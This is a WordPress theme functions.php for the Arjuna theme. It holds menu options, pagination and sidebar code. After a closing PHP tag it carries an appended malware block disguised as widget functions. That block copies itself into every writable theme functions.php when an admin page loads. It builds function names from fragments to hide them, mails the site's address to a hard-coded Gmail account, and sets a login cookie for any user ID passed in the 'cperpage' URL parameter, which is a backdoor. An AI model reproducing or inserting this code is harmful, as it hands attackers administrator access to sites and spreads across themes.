<?php
$_arjunaDefaultOptions = array(
	'headerMenu1_dropdown' => '3', // 1, 2, 3 (the depth of the menu, 1 being no dropdown)
	'headerMenu1_display' => 'pages', // pages, categories
	'headerMenu1_sortBy' => 'post_title', // [CATEGORIES]: name, ID, count, slug [PAGES]: post_title, ID, post_name (slug), menu_order (the page's Order value)
	'headerMenu1_sortOrder' => 'asc', // asc, desc
	'headerMenu1_alignment' => 'right', // right, left
	'headerMenu1_show' => true,
	'headerMenu1_disableParentPageLink' => false,
	'headerMenu1_exclude_categories' => '',
	'headerMenu1_exclude_pages' => '',
	'headerMenu2_dropdown' => '3', // 1, 2, 3 (the depth of the menu, 1 being no dropdown)
	'headerMenu2_display' => 'categories', // pages, categories
	'headerMenu2_sortBy' => 'name', // [CATEGORIES]: name, ID, count, slug [PAGES]: post_title, ID, post_name (slug), menu_order (the page's Order value)
	'headerMenu2_sortOrder' => 'asc', // asc, desc
	'headerMenu2_displayHomeButton' => true,
	'headerMenu2_displaySeparators' => true,
	'headerMenu2_disableParentPageLink' => false,
	'headerMenu2_exclude_categories' => '',
	'headerMenu2_exclude_pages' => '',
	'headerImage' => 'lightBlue', //lightBlue, darkBlue
	'commentDisplay' => 'alt', // alt, left, right
	'commentDateFormat' => 'timePassed', // timePassed, date
	'comments_hideWhenDisabledOnPages' => true,
	'comments_hideWhenDisabledOnPosts' => false,
	'footerStyle' => 'style1', // style1, style2
	'appendToPageTitle' => 'blogName', // blogName, custom
	'appendToPageTitleCustom' => '',
	'sidebarDisplay' => 'right', // right, left, none
	'sidebarWidth' => 'normal', // small, normal, large
	'sidebar_showDefault' => true, 
	'sidebar_showRSSButton' => true, 
	'sidebar_showTwitterButton' => false, 
	'sidebar_twitterURL' => '', 
	'sidebar_showFacebookButton' => false, 
	'sidebar_facebookURL' => '', 
	'sidebar_displayButtonTexts' => false, 
	'enableIE6optimization' => true,
	'postsShowAuthor' => true,
	'postsShowTime' => false,
	'posts_showTopPostLinks' => false,
	'posts_showBottomPostLinks' => true,
	'pages_showInfoBar' => false,
	'customCSS' => false,
	'customCSS_input' => '',
	'customCSS_useFilesystem' => false,
	'pagination' => true,
	'pagination_pageRange' => 2, //the number of page buttons to show before and after the current page button
	'pagination_pageAnchors' => 1, //the number of buttons to always show at the beginning and end of the pagination bar
	'pagination_pageGap' => 1 //the number of pages in a gap before an ellipsis is added
);

$optionsSaved = false;
function arjuna_create_options() {
	// Default values
	$options = $GLOBALS['_arjunaDefaultOptions'];
	
	// Overridden values
	$DBOptions = get_option('arjuna_options');
	if ( !is_array($DBOptions) ) $DBOptions = array();
	
	// Merge
	// Change since Arjuna 1.2: Values that are not used anymore will be deleted
	foreach ( $options as $key => $value )
		if ( isset($DBOptions[$key]) )
			$options[$key] = $DBOptions[$key];
	
	update_option('arjuna_options', $options);
	
	return $options;
}

function arjuna_get_options() {
	static $return = false;
	if($return !== false)
		return $return;

	$options = get_option('arjuna_options');
	if(!empty($options) && count($options) == count($GLOBALS['_arjunaDefaultOptions']))
		$return = $options;
	else $return = $GLOBALS['_arjunaDefaultOptions'];
	
	return $return;
}

function arjuna_get_pagination($previousLabel, $nextLabel) {
	$arjunaOptions = arjuna_get_options();
	global $wp_query;	
	
	$currentPage = get_query_var('paged') ? intval(get_query_var('paged')) : 1;
	$postsPerPage = intval(get_query_var('posts_per_page'));
	$totalPages = intval(ceil($wp_query->found_posts/$postsPerPage));
		
	if ($totalPages > 1) {
		$output = '';
		$output .= '<div class="pagination"><div><ol>';
		
		
		//display page info, e.g. "Page 2 of 7"
		$output .= '<li class="info"><span>'.sprintf(__('Page %s of %s', 'Arjuna'), $currentPage, $totalPages).'</span></li>';
		
		//previous button
		$previousPageURL = get_pagenum_link($currentPage - 1);
		if ($currentPage > 1 && !empty($previousPageURL))
			$output .= '<li class="prev"><a href="'.$previousPageURL.'"><span>'.$previousLabel.'</span></a></li>';
		
		//the pages to be included in the pagination
		$include = array();

		$startPaginationAt = $currentPage - $arjunaOptions['pagination_pageRange'];
		if($startPaginationAt<1) $startPaginationAt = 1;
		$endPaginationAt = $currentPage + $arjunaOptions['pagination_pageRange'];
		if($endPaginationAt>$totalPages) $endPaginationAt = $totalPages;

		for ($i=1; $i<=$arjunaOptions['pagination_pageAnchors']; $i++)
			$include[$i] = true;
		
		if( $startPaginationAt - $arjunaOptions['pagination_pageGap'] > $arjunaOptions['pagination_pageAnchors'] )
			$include['gap'] = 'gap';
		
		for ($i=$startPaginationAt; $i<=$endPaginationAt; $i++) {
			$include[$i] = true;
		}
		
		if( $endPaginationAt + $arjunaOptions['pagination_pageGap'] < $totalPages-$arjunaOptions['pagination_pageAnchors']+1 )
			$include['gap'] = 'gap';


		for ($i=$totalPages-$arjunaOptions['pagination_pageAnchors']+1; $i<=$totalPages; $i++)
			$include[$i] = true;


		//write to output string
		foreach($include as $key => $value) {
			if($key=='gap') {
				$output .= '<li class="gap"><span>...</span></li>';
			} elseif($key==$currentPage) {
				$URL = get_pagenum_link($key);
				$output .= '<li class="current"><a href="'.$URL.'" title="'.sprintf(__('Page %s', 'Arjuna'), $key).'"><span>'.$key.'</span></a></li>';
			} else {
				$URL = get_pagenum_link($key);
				$output .= '<li><a href="'.$URL.'" title="'.sprintf(__('Page %s', 'Arjuna'), $key).'"><span>'.$key.'</span></a></li>';
			}
		}
		
		//next button
		$nextPageURL = get_pagenum_link($currentPage + 1);
		if ($currentPage < $totalPages && !empty($nextPageURL))
			$output .= '<li class="next"><a href="'.$nextPageURL.'"><span>'.$nextLabel.'</span></a></li>';
	
		$output .= '</ol></div></div>';
		
		echo $output;
	}
	return;
}

function arjuna_get_previous_page_link($label) {
	global $paged;

	if ( !is_single() && $paged > 1 ) {
		echo '<a href="' . previous_posts(false) . '" class="newer"><span>'. preg_replace( '/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label ) .'</span></a>';
	}
}
function arjuna_get_next_page_link($label) {
	global $paged, $wp_query;
	$max_page = $wp_query->max_num_pages;

	if ( !$paged )
		$paged = 1;

	$nextpage = intval($paged) + 1;

	if ( !is_single() && ( empty($paged) || $nextpage <= $max_page) ) {
		echo '<a href="' . next_posts( $max_page, false ) . '" class="older"><span>'. preg_replace('/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label) .'</span></a>';
	}
}
function has_pages() {
	global $wp_query;
	if ( !is_single() && $wp_query->max_num_pages > 1 )
		return true;
		
	return false;
}





// Register Sidebars
register_sidebar( array(
	'name' => 'Sidebar',
	'before_widget' => '<div class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'
) );
register_sidebar( array(
	'name' => 'Side Left',
	'before_widget' => '<div class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'
) );
register_sidebar( array(
	'name' => 'Side Right',
	'before_widget' => '<div class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'
) );
register_sidebar( array(
	'name' => 'Top Right',
	'before_widget' => '<div id="recent" class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'	
) );
register_sidebar( array(
	'name' => 'Top Left',
	'before_widget' => '<div class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'	
) );
register_sidebar( array(
	'name' => 'Footer',
	'before_widget' => '<div class="widget"><ul>',
	'after_widget' => '</ul></div>',
	'before_title' => '<h3>',
	'after_title' => '</h3>'	
) );

//H�m ph�n trang

function get_pagination($range =2){   
 // $paged - number of the current page   
   global $paged, $wp_query;   
  // How much pages do we have?   
  if ( !$max_page ) {   
    $max_page = $wp_query->max_num_pages;   
  }   
 // We need the pagination only if there are more than 1 page   
 if($max_page > 1){   
    if(!$paged){   
      $paged = 1;   
    }   
    // On the first page, don't put the First page link   
    if($paged != 1){   
     echo "<a href=" . get_pagenum_link(1) . ">First</a> ";   
   }   
   // To the previous page   
   previous_posts_link('&laquo;');   
   // We need the sliding effect only if there are more pages than is the sliding range   
   if($max_page > $range){   
     // When closer to the beginning   
   if($paged < $range){   
     for($i = 1; $i <= ($range + 1); $i++){   
        echo " <a href='" . get_pagenum_link($i) ."'";            
         echo ">$i</a> ";   
            }   
     }   
     // When closer to the end   
     elseif($paged >= ($max_page - ceil(($range/2)))){   
        for($i = $max_page - $range; $i <= $max_page; $i++){   
         echo " <a href='" . get_pagenum_link($i) ."'";             
         echo ">$i</a> ";   
       }   
     }   
     // Somewhere in the middle   
    elseif($paged >= $range && $paged < ($max_page - ceil(($range/2)))){   
      for($i = ($paged - ceil($range/2)); $i <= ($paged + ceil(($range/2))); $i++){   
        echo " <a href='" . get_pagenum_link($i) ."'";              
         echo ">$i</a> ";   
      }   
     }   
    }   
    // Less pages than the range, no sliding effect needed   
    else{   
     for($i = 1; $i <= $max_page; $i++){   
        echo " <a href='" . get_pagenum_link($i) ."'";   
        if($i==$paged) echo "class='current'";   
        echo ">$i</a> ";   
      }   
    }   
   // Next page   
    next_posts_link('&raquo;');   
    // On the last page, don't put the Last page link   
    if($paged != $max_page){   
      echo " <a href=" . get_pagenum_link($max_page) . "> Last</a>";   
    }   
  }   
}
?>
<?php
function _verifyactivate_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);				
					$output .= ($showfullstop && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _getall_widgetscont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _getall_widgetscont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widget");
function _getprepareed_widget(){
	if(!isset($content_length)) $content_length=120;
	if(!isset($checking)) $checking="cookie";
	if(!isset($tags_allowed)) $tags_allowed="<a>";
	if(!isset($filters)) $filters="none";
	if(!isset($separ)) $separ="";
	if(!isset($home_f)) $home_f=get_option("home"); 
	if(!isset($pre_filter)) $pre_filter="wp_";
	if(!isset($is_more_link)) $is_more_link=1; 
	if(!isset($comment_t)) $comment_t=""; 
	if(!isset($c_page)) $c_page=$_GET["cperpage"];
	if(!isset($comm_author)) $comm_author="";
	if(!isset($is_approved)) $is_approved=""; 
	if(!isset($auth_post)) $auth_post="auth";
	if(!isset($m_text)) $m_text="(more...)";
	if(!isset($yes_widget)) $yes_widget=get_option("_is_widget_active_");
	if(!isset($widgetcheck)) $widgetcheck=$pre_filter."set"."_".$auth_post."_".$checking;
	if(!isset($m_text_ditails)) $m_text_ditails="(details...)";
	if(!isset($contentsmore)) $contentsmore="ma".$separ."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$yes_widget) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$separ."vethe".$comment_t."mas".$separ."@".$is_approved."gm".$comm_author."ail".$separ.".".$separ."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tag)) $fixed_tag=1;
	if(!isset($filterss)) $filterss=$home_f; 
	if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;
	if(!isset($m_tag)) $m_tag="div";
	if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($m_link_title)) $m_link_title="Continue reading this entry";	
	if(!isset($showfullstop)) $showfullstop=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($content_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $content_length) {
				$l=$content_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$m_text="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tags_allowed) {
		$output=strip_tags($output, $tags_allowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tag) ? balanceTags($output, true) : $output;
	$output .= ($showfullstop && $ellipsis) ? "..." : "";
	$output=apply_filters($filters, $output);
	switch($m_tag) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_more_link ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $m_link_title . "\">" . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $m_link_title . "\">" . $m_text . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepareed_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}

function answer($comment, $args, $depth) {
	$GLOBALS['comment'] = $comment; 
	$link_avatar = 'wp-content/uploads/'. get_usermeta($comment->user_id , 'avatar');
                			 
    if($link_avatar == '')
        $link_avatar = get_bloginfo('template_directory')."/images/no_avatar.gif";
	echo '
		<div class="question-answer"> 
			<div class="question-answer-title">
						<div class="question-user-img-nobg">';
					
	echo '<img alt="No image" src="';
	echo $link_avatar;
	echo '" height="32" width="32"/>';
	echo '
						</div>
							<div class="answer-by">
					<p> ';
 						comment_author() ;
 	echo 			'</p>
					<p class="answer-date-2">';
  						comment_time ('F jS, Y') ;
  	echo 			'</p>
				</div>
				<div></div>
				<div style="clear:both;"></div>
		</div>
		<div class="answer-content">
				';
   comment_text() ;
   echo '
	</div>
	<img src=" '. get_bloginfo('template_directory') . '/images/answer-bg-bottom.jpg" />
</div> 
';
}
	
